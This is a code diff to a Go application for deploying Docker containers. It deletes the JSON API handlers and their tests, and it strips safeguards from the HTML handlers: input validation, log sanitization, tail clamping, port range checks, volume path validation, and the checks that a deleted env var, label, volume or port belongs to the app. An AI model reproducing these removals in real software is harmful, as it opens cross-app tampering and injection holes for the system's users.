-		NtfyTopic      string `json:"ntfyTopic"`
-		SlackWebhook   string `json:"slackWebhook"`
-	}
-
-	return func(writer http.ResponseWriter, request *http.Request) {
-		var req createRequest
-
-		decodeErr := json.NewDecoder(request.Body).Decode(&req)
-		if decodeErr != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "invalid JSON body"},
-				http.StatusBadRequest)
-
-			return
-		}
-
-		if req.Name == "" || req.RepoURL == "" {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "name and repo_url are required"},
-				http.StatusBadRequest)
-
-			return
-		}
-
-		nameErr := validateAppName(req.Name)
-		if nameErr != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "invalid app name: " + nameErr.Error()},
-				http.StatusBadRequest)
-
-			return
-		}
-
-		repoURLErr := validateRepoURL(req.RepoURL)
-		if repoURLErr != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "invalid repository URL: " + repoURLErr.Error()},
-				http.StatusBadRequest)
-
-			return
-		}
-
-		createdApp, createErr := h.appService.CreateApp(request.Context(), app.CreateAppInput{
-			Name:           req.Name,
-			RepoURL:        req.RepoURL,
-			Branch:         req.Branch,
-			DockerfilePath: req.DockerfilePath,
-			DockerNetwork:  req.DockerNetwork,
-			NtfyTopic:      req.NtfyTopic,
-			SlackWebhook:   req.SlackWebhook,
-		})
-		if createErr != nil {
-			h.log.Error("api: failed to create app", "error", createErr)
-			h.respondJSON(writer, request,
-				map[string]string{"error": "failed to create app"},
-				http.StatusInternalServerError)
-
-			return
-		}
-
-		h.respondJSON(writer, request, appToAPI(createdApp), http.StatusCreated)
-	}
-}
-
-// HandleAPIDeleteApp returns a handler that deletes an app.
-func (h *Handlers) HandleAPIDeleteApp() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-
-		application, err := h.appService.GetApp(request.Context(), appID)
-		if err != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "internal server error"},
-				http.StatusInternalServerError)
-
-			return
-		}
-
-		if application == nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "app not found"},
-				http.StatusNotFound)
-
-			return
-		}
-
-		deleteErr := h.appService.DeleteApp(request.Context(), application)
-		if deleteErr != nil {
-			h.log.Error("api: failed to delete app", "error", deleteErr)
-			h.respondJSON(writer, request,
-				map[string]string{"error": "failed to delete app"},
-				http.StatusInternalServerError)
-
-			return
-		}
-
-		h.respondJSON(writer, request,
-			map[string]string{"status": "deleted"}, http.StatusOK)
-	}
-}
-
-// deploymentsPageLimit is the default number of deployments per page.
-const deploymentsPageLimit = 20
-
-// HandleAPIListDeployments returns a handler that lists deployments for an app.
-func (h *Handlers) HandleAPIListDeployments() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-
-		application, err := h.appService.GetApp(request.Context(), appID)
-		if err != nil || application == nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "app not found"},
-				http.StatusNotFound)
-
-			return
-		}
-
-		limit := deploymentsPageLimit
-
-		if l := request.URL.Query().Get("limit"); l != "" {
-			parsed, parseErr := strconv.Atoi(l)
-			if parseErr == nil && parsed > 0 {
-				limit = parsed
-			}
-		}
-
-		deployments, deployErr := application.GetDeployments(
-			request.Context(), limit,
-		)
-		if deployErr != nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "failed to list deployments"},
-				http.StatusInternalServerError)
-
-			return
-		}
-
-		result := make([]apiDeploymentResponse, 0, len(deployments))
-		for _, d := range deployments {
-			result = append(result, deploymentToAPI(d))
-		}
-
-		h.respondJSON(writer, request, result, http.StatusOK)
-	}
-}
-
-// HandleAPITriggerDeploy returns a handler that triggers a deployment for an app.
-func (h *Handlers) HandleAPITriggerDeploy() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-
-		application, err := h.appService.GetApp(request.Context(), appID)
-		if err != nil || application == nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "app not found"},
-				http.StatusNotFound)
-
-			return
-		}
-
-		deployErr := h.deploy.Deploy(request.Context(), application, nil, true)
-		if deployErr != nil {
-			h.log.Error("api: failed to trigger deploy", "error", deployErr)
-			h.respondJSON(writer, request,
-				map[string]string{"error": deployErr.Error()},
-				http.StatusConflict)
-
-			return
-		}
-
-		h.respondJSON(writer, request,
-			map[string]string{"status": "deploying"}, http.StatusAccepted)
-	}
-}
-
-// HandleAPIWhoAmI returns a handler that shows the current authenticated user.
-func (h *Handlers) HandleAPIWhoAmI() http.HandlerFunc {
-	type whoAmIResponse struct {
-		UserID   int64  `json:"userId"`
-		Username string `json:"username"`
-	}
-
-	return func(writer http.ResponseWriter, request *http.Request) {
-		user, err := h.auth.GetCurrentUser(request.Context(), request)
-		if err != nil || user == nil {
-			h.respondJSON(writer, request,
-				map[string]string{"error": "unauthorized"},
-				http.StatusUnauthorized)
-
-			return
-		}
-
-		h.respondJSON(writer, request, whoAmIResponse{
-			UserID:   user.ID,
-			Username: user.Username,
-		}, http.StatusOK)
-	}
-}
--- a/internal/handlers/api_test.go
+++ b/internal/handlers/api_test.go
@@ -1,299 +0,0 @@
-package handlers_test
-
-import (
-	"encoding/json"
-	"net/http"
-	"net/http/httptest"
-	"strings"
-	"testing"
-
-	"github.com/go-chi/chi/v5"
-	"github.com/stretchr/testify/assert"
-	"github.com/stretchr/testify/require"
-)
-
-// apiRouter builds a chi router with the API routes using session auth middleware.
-func apiRouter(tc *testContext) http.Handler {
-	r := chi.NewRouter()
-
-	r.Route("/api/v1", func(apiR chi.Router) {
-		apiR.Post("/login", tc.handlers.HandleAPILoginPOST())
-
-		apiR.Group(func(apiR chi.Router) {
-			apiR.Use(tc.middleware.APISessionAuth())
-			apiR.Get("/whoami", tc.handlers.HandleAPIWhoAmI())
-			apiR.Get("/apps", tc.handlers.HandleAPIListApps())
-			apiR.Post("/apps", tc.handlers.HandleAPICreateApp())
-			apiR.Get("/apps/{id}", tc.handlers.HandleAPIGetApp())
-			apiR.Delete("/apps/{id}", tc.handlers.HandleAPIDeleteApp())
-			apiR.Post("/apps/{id}/deploy", tc.handlers.HandleAPITriggerDeploy())
-			apiR.Get("/apps/{id}/deployments", tc.handlers.HandleAPIListDeployments())
-		})
-	})
-
-	return r
-}
-
-// setupAPITest creates a test context with a user and returns session cookies.
-func setupAPITest(t *testing.T) (*testContext, []*http.Cookie) {
-	t.Helper()
-
-	tc := setupTestHandlers(t)
-
-	// Create a user.
-	_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
-	require.NoError(t, err)
-
-	// Login via the API to get session cookies.
-	r := apiRouter(tc)
-
-	loginBody := `{"username":"admin","password":"password123"}`
-	req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(loginBody))
-	req.Header.Set("Content-Type", "application/json")
-
-	rr := httptest.NewRecorder()
-	r.ServeHTTP(rr, req)
-
-	require.Equal(t, http.StatusOK, rr.Code)
-
-	cookies := rr.Result().Cookies()
-	require.NotEmpty(t, cookies, "login should return session cookies")
-
-	return tc, cookies
-}
-
-// apiRequest makes an authenticated API request using session cookies.
-func apiRequest(
-	t *testing.T,
-	tc *testContext,
-	cookies []*http.Cookie,
-	method, path string,
-	body string,
-) *httptest.ResponseRecorder {
-	t.Helper()
-
-	var req *http.Request
-	if body != "" {
-		req = httptest.NewRequest(method, path, strings.NewReader(body))
-		req.Header.Set("Content-Type", "application/json")
-	} else {
-		req = httptest.NewRequest(method, path, nil)
-	}
-
-	for _, c := range cookies {
-		req.AddCookie(c)
-	}
-
-	rr := httptest.NewRecorder()
-
-	r := apiRouter(tc)
-	r.ServeHTTP(rr, req)
-
-	return rr
-}
-
-func TestAPILoginSuccess(t *testing.T) {
-	t.Parallel()
-
-	tc := setupTestHandlers(t)
-
-	_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
-	require.NoError(t, err)
-
-	r := apiRouter(tc)
-
-	body := `{"username":"admin","password":"password123"}`
-	req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
-	req.Header.Set("Content-Type", "application/json")
-
-	rr := httptest.NewRecorder()
-	r.ServeHTTP(rr, req)
-
-	assert.Equal(t, http.StatusOK, rr.Code)
-
-	var resp map[string]any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &resp))
-	assert.Equal(t, "admin", resp["username"])
-
-	// Should have a Set-Cookie header.
-	assert.NotEmpty(t, rr.Result().Cookies())
-}
-
-func TestAPILoginInvalidCredentials(t *testing.T) {
-	t.Parallel()
-
-	tc := setupTestHandlers(t)
-
-	_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
-	require.NoError(t, err)
-
-	r := apiRouter(tc)
-
-	body := `{"username":"admin","password":"wrong"}`
-	req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
-	req.Header.Set("Content-Type", "application/json")
-
-	rr := httptest.NewRecorder()
-	r.ServeHTTP(rr, req)
-
-	assert.Equal(t, http.StatusUnauthorized, rr.Code)
-}
-
-func TestAPILoginMissingFields(t *testing.T) {
-	t.Parallel()
-
-	tc := setupTestHandlers(t)
-
-	r := apiRouter(tc)
-
-	body := `{"username":"","password":""}`
-	req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
-	req.Header.Set("Content-Type", "application/json")
-
-	rr := httptest.NewRecorder()
-	r.ServeHTTP(rr, req)
-
-	assert.Equal(t, http.StatusBadRequest, rr.Code)
-}
-
-func TestAPIRejectsUnauthenticated(t *testing.T) {
-	t.Parallel()
-
-	tc := setupTestHandlers(t)
-
-	r := apiRouter(tc)
-
-	req := httptest.NewRequest(http.MethodGet, "/api/v1/apps", nil)
-	rr := httptest.NewRecorder()
-	r.ServeHTTP(rr, req)
-
-	assert.Equal(t, http.StatusUnauthorized, rr.Code)
-}
-
-func TestAPIWhoAmI(t *testing.T) {
-	t.Parallel()
-
-	tc, cookies := setupAPITest(t)
-
-	rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/whoami", "")
-	assert.Equal(t, http.StatusOK, rr.Code)
-
-	var resp map[string]any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &resp))
-	assert.Equal(t, "admin", resp["username"])
-}
-
-func TestAPIListAppsEmpty(t *testing.T) {
-	t.Parallel()
-
-	tc, cookies := setupAPITest(t)
-
-	rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps", "")
-	assert.Equal(t, http.StatusOK, rr.Code)
-
-	var apps []any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &apps))
-	assert.Empty(t, apps)
-}
-
-func TestAPICreateApp(t *testing.T) {
-	t.Parallel()
-
-	tc, cookies := setupAPITest(t)
-
-	body := `{"name":"test-app","repoUrl":"https://github.com/example/repo"}`
-	rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
-	assert.Equal(t, http.StatusCreated, rr.Code)
-
-	var app map[string]any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &app))
-	assert.Equal(t, "test-app", app["name"])
-	assert.Equal(t, "pending", app["status"])
-}
-
-func TestAPICreateAppValidation(t *testing.T) {
-	t.Parallel()
-
-	tc, cookies := setupAPITest(t)
-
-	body := `{"name":"","repoUrl":""}`
-	rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
-	assert.Equal(t, http.StatusBadRequest, rr.Code)
-}
-
-func TestAPIGetApp(t *testing.T) {
-	t.Parallel()
-
-	tc, cookies := setupAPITest(t)
-
-	body := `{"name":"my-app","repoUrl":"https://github.com/example/repo"}`
-	rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
-	require.Equal(t, http.StatusCreated, rr.Code)
-
-	var created map[string]any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
-
-	appID, ok := created["id"].(string)
-	require.True(t, ok)
-
-	rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID, "")
-	assert.Equal(t, http.StatusOK, rr.Code)
-
-	var app map[string]any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &app))
-	assert.Equal(t, "my-app", app["name"])
-}
-
-func TestAPIGetAppNotFound(t *testing.T) {
-	t.Parallel()
-
-	tc, cookies := setupAPITest(t)
-
-	rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/nonexistent", "")
-	assert.Equal(t, http.StatusNotFound, rr.Code)
-}
-
-func TestAPIDeleteApp(t *testing.T) {
-	t.Parallel()
-
-	tc, cookies := setupAPITest(t)
-
-	body := `{"name":"delete-me","repoUrl":"https://github.com/example/repo"}`
-	rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
-	require.Equal(t, http.StatusCreated, rr.Code)
-
-	var created map[string]any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
-
-	appID, ok := created["id"].(string)
-	require.True(t, ok)
-
-	rr = apiRequest(t, tc, cookies, http.MethodDelete, "/api/v1/apps/"+appID, "")
-	assert.Equal(t, http.StatusOK, rr.Code)
-
-	rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID, "")
-	assert.Equal(t, http.StatusNotFound, rr.Code)
-}
-
-func TestAPIListDeployments(t *testing.T) {
-	t.Parallel()
-
-	tc, cookies := setupAPITest(t)
-
-	body := `{"name":"deploy-app","repoUrl":"https://github.com/example/repo"}`
-	rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
-	require.Equal(t, http.StatusCreated, rr.Code)
-
-	var created map[string]any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
-
-	appID, ok := created["id"].(string)
-	require.True(t, ok)
-
-	rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID+"/deployments", "")
-	assert.Equal(t, http.StatusOK, rr.Code)
-
-	var deployments []any
-	require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &deployments))
-	assert.Empty(t, deployments)
-}
--- a/internal/handlers/app.go
+++ b/internal/handlers/app.go
@@ -4,8 +4,6 @@ import (
 	"context"
 	"database/sql"
 	"encoding/json"
-	"errors"
-	"fmt"
 	"net/http"
 	"os"
 	"path/filepath"
@@ -31,15 +29,19 @@ const (
 func (h *Handlers) HandleAppNew() http.HandlerFunc {
 	tmpl := templates.GetParsed()

-	return func(writer http.ResponseWriter, request *http.Request) {
-		data := h.addGlobals(map[string]any{}, request)
+	return func(writer http.ResponseWriter, _ *http.Request) {
+		data := h.addGlobals(map[string]any{})

-		h.renderTemplate(writer, tmpl, "app_new.html", data)
+		err := tmpl.ExecuteTemplate(writer, "app_new.html", data)
+		if err != nil {
+			h.log.Error("template execution failed", "error", err)
+			http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
+		}
 	}
 }

 // HandleAppCreate handles app creation.
-func (h *Handlers) HandleAppCreate() http.HandlerFunc { //nolint:funlen // validation adds necessary length
+func (h *Handlers) HandleAppCreate() http.HandlerFunc {
 	tmpl := templates.GetParsed()

 	return func(writer http.ResponseWriter, request *http.Request) {
@@ -55,36 +57,20 @@ func (h *Handlers) HandleAppCreate() http.HandlerFunc { //nolint:funlen // valid
 		branch := request.FormValue("branch")
 		dockerfilePath := request.FormValue("dockerfile_path")

-		data := h.addGlobals(map[string]any{
+		data := map[string]any{
 			"Name":           name,
 			"RepoURL":        repoURL,
 			"Branch":         branch,
 			"DockerfilePath": dockerfilePath,
-		}, request)
+		}

 		if name == "" || repoURL == "" {
 			data["Error"] = "Name and repository URL are required"
-			h.renderTemplate(writer, tmpl, "app_new.html", data)
-
-			return
-		}
-
-		nameErr := validateAppName(name)
-		if nameErr != nil {
-			data["Error"] = "Invalid app name: " + nameErr.Error()
 			_ = tmpl.ExecuteTemplate(writer, "app_new.html", data)

 			return
 		}

-		repoURLErr := validateRepoURL(repoURL)
-		if repoURLErr != nil {
-			data["Error"] = "Invalid repository URL: " + repoURLErr.Error()
-			h.renderTemplate(writer, tmpl, "app_new.html", data)
-
-			return
-		}
-
 		if branch == "" {
 			branch = "main"
 		}
@@ -105,7 +91,7 @@ func (h *Handlers) HandleAppCreate() http.HandlerFunc { //nolint:funlen // valid
 		if createErr != nil {
 			h.log.Error("failed to create app", "error", createErr)
 			data["Error"] = "Failed to create app: " + createErr.Error()
-			h.renderTemplate(writer, tmpl, "app_new.html", data)
+			_ = tmpl.ExecuteTemplate(writer, "app_new.html", data)

 			return
 		}
@@ -164,9 +150,13 @@ func (h *Handlers) HandleAppDetail() http.HandlerFunc {
 			"WebhookURL":       webhookURL,
 			"DeployKey":        deployKey,
 			"Success":          request.URL.Query().Get("success"),
-		}, request)
+		})

-		h.renderTemplate(writer, tmpl, "app_detail.html", data)
+		err := tmpl.ExecuteTemplate(writer, "app_detail.html", data)
+		if err != nil {
+			h.log.Error("template execution failed", "error", err)
+			http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
+		}
 	}
 }

@@ -193,14 +183,18 @@ func (h *Handlers) HandleAppEdit() http.HandlerFunc {

 		data := h.addGlobals(map[string]any{
 			"App": application,
-		}, request)
+		})

-		h.renderTemplate(writer, tmpl, "app_edit.html", data)
+		err := tmpl.ExecuteTemplate(writer, "app_edit.html", data)
+		if err != nil {
+			h.log.Error("template execution failed", "error", err)
+			http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
+		}
 	}
 }

 // HandleAppUpdate handles app updates.
-func (h *Handlers) HandleAppUpdate() http.HandlerFunc { //nolint:funlen // validation adds necessary length
+func (h *Handlers) HandleAppUpdate() http.HandlerFunc {
 	tmpl := templates.GetParsed()

 	return func(writer http.ResponseWriter, request *http.Request) {
@@ -220,31 +214,7 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc { //nolint:funlen // valid
 			return
 		}

-		newName := request.FormValue("name")
-
-		nameErr := validateAppName(newName)
-		if nameErr != nil {
-			data := h.addGlobals(map[string]any{
-				"App":   application,
-				"Error": "Invalid app name: " + nameErr.Error(),
-			}, request)
-			_ = tmpl.ExecuteTemplate(writer, "app_edit.html", data)
-
-			return
-		}
-
-		repoURLErr := validateRepoURL(request.FormValue("repo_url"))
-		if repoURLErr != nil {
-			data := h.addGlobals(map[string]any{
-				"App":   application,
-				"Error": "Invalid repository URL: " + repoURLErr.Error(),
-			}, request)
-			_ = tmpl.ExecuteTemplate(writer, "app_edit.html", data)
-
-			return
-		}
-
-		application.Name = newName
+		application.Name = request.FormValue("name")
 		application.RepoURL = request.FormValue("repo_url")
 		application.Branch = request.FormValue("branch")
 		application.DockerfilePath = request.FormValue("dockerfile_path")
@@ -271,11 +241,11 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc { //nolint:funlen // valid
 		if saveErr != nil {
 			h.log.Error("failed to update app", "error", saveErr)

-			data := h.addGlobals(map[string]any{
+			data := map[string]any{
 				"App":   application,
 				"Error": "Failed to update app",
-			}, request)
-			h.renderTemplate(writer, tmpl, "app_edit.html", data)
+			}
+			_ = tmpl.ExecuteTemplate(writer, "app_edit.html", data)

 			return
 		}
@@ -285,33 +255,6 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc { //nolint:funlen // valid
 	}
 }

-// cleanupContainer stops and removes the Docker container for the given app.
-func (h *Handlers) cleanupContainer(ctx context.Context, appID, appName string) {
-	containerInfo, containerErr := h.docker.FindContainerByAppID(ctx, appID)
-	if containerErr != nil || containerInfo == nil {
-		return
-	}
-
-	if containerInfo.Running {
-		stopErr := h.docker.StopContainer(ctx, containerInfo.ID)
-		if stopErr != nil {
-			h.log.Error("failed to stop container during app deletion",
-				"error", stopErr, "app", appName,
-				"container", containerInfo.ID)
-		}
-	}
-
-	removeErr := h.docker.RemoveContainer(ctx, containerInfo.ID, true)
-	if removeErr != nil {
-		h.log.Error("failed to remove container during app deletion",
-			"error", removeErr, "app", appName,
-			"container", containerInfo.ID)
-	} else {
-		h.log.Info("removed container during app deletion",
-			"app", appName, "container", containerInfo.ID)
-	}
-}
-
 // HandleAppDelete handles app deletion.
 func (h *Handlers) HandleAppDelete() http.HandlerFunc {
 	return func(writer http.ResponseWriter, request *http.Request) {
@@ -324,9 +267,6 @@ func (h *Handlers) HandleAppDelete() http.HandlerFunc {
 			return
 		}

-		// Stop and remove the Docker container before deleting the DB record
-		h.cleanupContainer(request.Context(), appID, application.Name)
-
 		deleteErr := application.Delete(request.Context())
 		if deleteErr != nil {
 			h.log.Error("failed to delete app", "error", deleteErr)
@@ -356,7 +296,7 @@ func (h *Handlers) HandleAppDeploy() http.HandlerFunc {
 		deployCtx := context.WithoutCancel(request.Context())

 		go func(ctx context.Context, appToDeploy *models.App) {
-			deployErr := h.deploy.Deploy(ctx, appToDeploy, nil, false)
+			deployErr := h.deploy.Deploy(ctx, appToDeploy, nil)
 			if deployErr != nil {
 				h.log.Error(
 					"deployment failed",
@@ -375,56 +315,6 @@ func (h *Handlers) HandleAppDeploy() http.HandlerFunc {
 	}
 }

-// HandleCancelDeploy cancels an in-progress deployment for an app.
-func (h *Handlers) HandleCancelDeploy() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-
-		application, findErr := models.FindApp(request.Context(), h.db, appID)
-		if findErr != nil || application == nil {
-			http.NotFound(writer, request)
-
-			return
-		}
-
-		cancelled := h.deploy.CancelDeploy(application.ID)
-		if cancelled {
-			h.log.Info("deployment cancelled by user", "app", application.Name)
-		}
-
-		http.Redirect(
-			writer,
-			request,
-			"/apps/"+application.ID,
-			http.StatusSeeOther,
-		)
-	}
-}
-
-// HandleAppRollback handles rolling back to the previous deployment image.
-func (h *Handlers) HandleAppRollback() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-
-		application, findErr := models.FindApp(request.Context(), h.db, appID)
-		if findErr != nil || application == nil {
-			http.NotFound(writer, request)
-
-			return
-		}
-
-		rollbackErr := h.deploy.Rollback(request.Context(), application)
-		if rollbackErr != nil {
-			h.log.Error("rollback failed", "error", rollbackErr, "app", application.Name)
-			http.Redirect(writer, request, "/apps/"+application.ID, http.StatusSeeOther)
-
-			return
-		}
-
-		http.Redirect(writer, request, "/apps/"+application.ID+"?success=rolledback", http.StatusSeeOther)
-	}
-}
-
 // HandleAppDeployments returns the deployments history handler.
 func (h *Handlers) HandleAppDeployments() http.HandlerFunc {
 	tmpl := templates.GetParsed()
@@ -447,36 +337,18 @@ func (h *Handlers) HandleAppDeployments() http.HandlerFunc {
 		data := h.addGlobals(map[string]any{
 			"App":         application,
 			"Deployments": deployments,
-		}, request)
+		})

-		h.renderTemplate(writer, tmpl, "deployments.html", data)
+		err := tmpl.ExecuteTemplate(writer, "deployments.html", data)
+		if err != nil {
+			h.log.Error("template execution failed", "error", err)
+			http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
+		}
 	}
 }

-// DefaultLogTail is the default number of log lines to fetch.
-const DefaultLogTail = "500"
-
-// maxLogTail is the maximum allowed value for the tail parameter.
-const maxLogTail = 500
-
-// SanitizeTail validates and clamps the tail query parameter.
-// It returns a numeric string clamped to maxLogTail, or the default if invalid.
-func SanitizeTail(raw string) string {
-	if raw == "" {
-		return DefaultLogTail
-	}
-
-	n, err := strconv.Atoi(raw)
-	if err != nil || n < 1 {
-		return DefaultLogTail
-	}
-
-	if n > maxLogTail {
-		n = maxLogTail
-	}
-
-	return strconv.Itoa(n)
-}
+// defaultLogTail is the default number of log lines to fetch.
+const defaultLogTail = "500"

 // HandleAppLogs returns the container logs handler.
 func (h *Handlers) HandleAppLogs() http.HandlerFunc {
@@ -499,7 +371,10 @@ func (h *Handlers) HandleAppLogs() http.HandlerFunc {
 			return
 		}

-		tail := SanitizeTail(request.URL.Query().Get("tail"))
+		tail := request.URL.Query().Get("tail")
+		if tail == "" {
+			tail = defaultLogTail
+		}

 		logs, logsErr := h.docker.ContainerLogs(
 			request.Context(),
@@ -518,7 +393,7 @@ func (h *Handlers) HandleAppLogs() http.HandlerFunc {
 			return
 		}

-		_, _ = writer.Write([]byte(SanitizeLogs(logs))) // #nosec G705 -- logs sanitized, Content-Type is text/plain
+		_, _ = writer.Write([]byte(logs))
 	}
 }

@@ -553,7 +428,7 @@ func (h *Handlers) HandleDeploymentLogsAPI() http.HandlerFunc {

 		logs := ""
 		if deployment.Logs.Valid {
-			logs = SanitizeLogs(deployment.Logs.String)
+			logs = deployment.Logs.String
 		}

 		response := map[string]any{
@@ -600,8 +475,8 @@ func (h *Handlers) HandleDeploymentLogDownload() http.HandlerFunc {
 			return
 		}

-		// Check if file exists — logPath is constructed internally, not from user input
-		_, err := os.Stat(logPath) // #nosec G703 -- path from internal GetLogFilePath, not user input
+		// Check if file exists
+		_, err := os.Stat(logPath)
 		if os.IsNotExist(err) {
 			http.NotFound(writer, request)

@@ -680,7 +555,7 @@ func (h *Handlers) HandleContainerLogsAPI() http.HandlerFunc {
 		}

 		response := map[string]any{
-			"logs":   SanitizeLogs(logs),
+			"logs":   logs,
 			"status": status,
 		}

@@ -926,7 +801,7 @@ func (h *Handlers) HandleEnvVarDelete() http.HandlerFunc {
 		}

 		envVar, findErr := models.FindEnvVar(request.Context(), h.db, envVarID)
-		if findErr != nil || envVar == nil || envVar.AppID != appID {
+		if findErr != nil || envVar == nil {
 			http.NotFound(writer, request)

 			return
@@ -973,7 +848,7 @@ func (h *Handlers) HandleLabelDelete() http.HandlerFunc {
 		}

 		label, findErr := models.FindLabel(request.Context(), h.db, labelID)
-		if findErr != nil || label == nil || label.AppID != appID {
+		if findErr != nil || label == nil {
 			http.NotFound(writer, request)

 			return
@@ -1051,7 +926,7 @@ func (h *Handlers) HandleVolumeDelete() http.HandlerFunc {
 		}

 		volume, findErr := models.FindVolume(request.Context(), h.db, volumeID)
-		if findErr != nil || volume == nil || volume.AppID != appID {
+		if findErr != nil || volume == nil {
 			http.NotFound(writer, request)

 			return
@@ -1120,12 +995,7 @@ func parsePortValues(hostPortStr, containerPortStr string) (int, int, bool) {
 	hostPort, hostErr := strconv.Atoi(hostPortStr)
 	containerPort, containerErr := strconv.Atoi(containerPortStr)

-	const maxPort = 65535
-
-	invalid := hostErr != nil || containerErr != nil ||
-		hostPort <= 0 || containerPort <= 0 ||
-		hostPort > maxPort || containerPort > maxPort
-	if invalid {
+	if hostErr != nil || containerErr != nil || hostPort <= 0 || containerPort <= 0 {
 		return 0, 0, false
 	}

@@ -1146,7 +1016,7 @@ func (h *Handlers) HandlePortDelete() http.HandlerFunc {
 		}

 		port, findErr := models.FindPort(request.Context(), h.db, portID)
-		if findErr != nil || port == nil || port.AppID != appID {
+		if findErr != nil || port == nil {
 			http.NotFound(writer, request)

 			return
@@ -1161,207 +1031,6 @@ func (h *Handlers) HandlePortDelete() http.HandlerFunc {
 	}
 }

-// ErrVolumePathEmpty is returned when a volume path is empty.
-var ErrVolumePathEmpty = errors.New("path must not be empty")
-
-// ErrVolumePathNotAbsolute is returned when a volume path is not absolute.
-var ErrVolumePathNotAbsolute = errors.New("path must be absolute")
-
-// ErrVolumePathNotClean is returned when a volume path is not clean.
-var ErrVolumePathNotClean = errors.New("path must be clean")
-
-// ValidateVolumePath checks that a path is absolute and clean.
-func ValidateVolumePath(p string) error {
-	if p == "" {
-		return ErrVolumePathEmpty
-	}
-
-	if !filepath.IsAbs(p) {
-		return ErrVolumePathNotAbsolute
-	}
-
-	cleaned := filepath.Clean(p)
-	if cleaned != p {
-		return fmt.Errorf("%w (expected %q)", ErrVolumePathNotClean, cleaned)
-	}
-
-	return nil
-}
-
-// HandleEnvVarEdit handles editing an existing environment variable.
-func (h *Handlers) HandleEnvVarEdit() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-		envVarIDStr := chi.URLParam(request, "varID")
-
-		envVarID, parseErr := strconv.ParseInt(envVarIDStr, 10, 64)
-		if parseErr != nil {
-			http.NotFound(writer, request)
-
-			return
-		}
-
-		envVar, findErr := models.FindEnvVar(request.Context(), h.db, envVarID)
-		if findErr != nil || envVar == nil || envVar.AppID != appID {
-			http.NotFound(writer, request)
-
-			return
-		}
-
-		formErr := request.ParseForm()
-		if formErr != nil {
-			http.Error(writer, "Bad Request", http.StatusBadRequest)
-
-			return
-		}
-
-		key := request.FormValue("key")
-		value := request.FormValue("value")
-
-		if key == "" || value == "" {
-			http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
-
-			return
-		}
-
-		envVar.Key = key
-		envVar.Value = value
-
-		saveErr := envVar.Save(request.Context())
-		if saveErr != nil {
-			h.log.Error("failed to update env var", "error", saveErr)
-		}
-
-		http.Redirect(
-			writer,
-			request,
-			"/apps/"+appID+"?success=env-updated",
-			http.StatusSeeOther,
-		)
-	}
-}
-
-// HandleLabelEdit handles editing an existing label.
-func (h *Handlers) HandleLabelEdit() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-		labelIDStr := chi.URLParam(request, "labelID")
-
-		labelID, parseErr := strconv.ParseInt(labelIDStr, 10, 64)
-		if parseErr != nil {
-			http.NotFound(writer, request)
-
-			return
-		}
-
-		label, findErr := models.FindLabel(request.Context(), h.db, labelID)
-		if findErr != nil || label == nil || label.AppID != appID {
-			http.NotFound(writer, request)
-
-			return
-		}
-
-		formErr := request.ParseForm()
-		if formErr != nil {
-			http.Error(writer, "Bad Request", http.StatusBadRequest)
-
-			return
-		}
-
-		key := request.FormValue("key")
-		value := request.FormValue("value")
-
-		if key == "" || value == "" {
-			http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
-
-			return
-		}
-
-		label.Key = key
-		label.Value = value
-
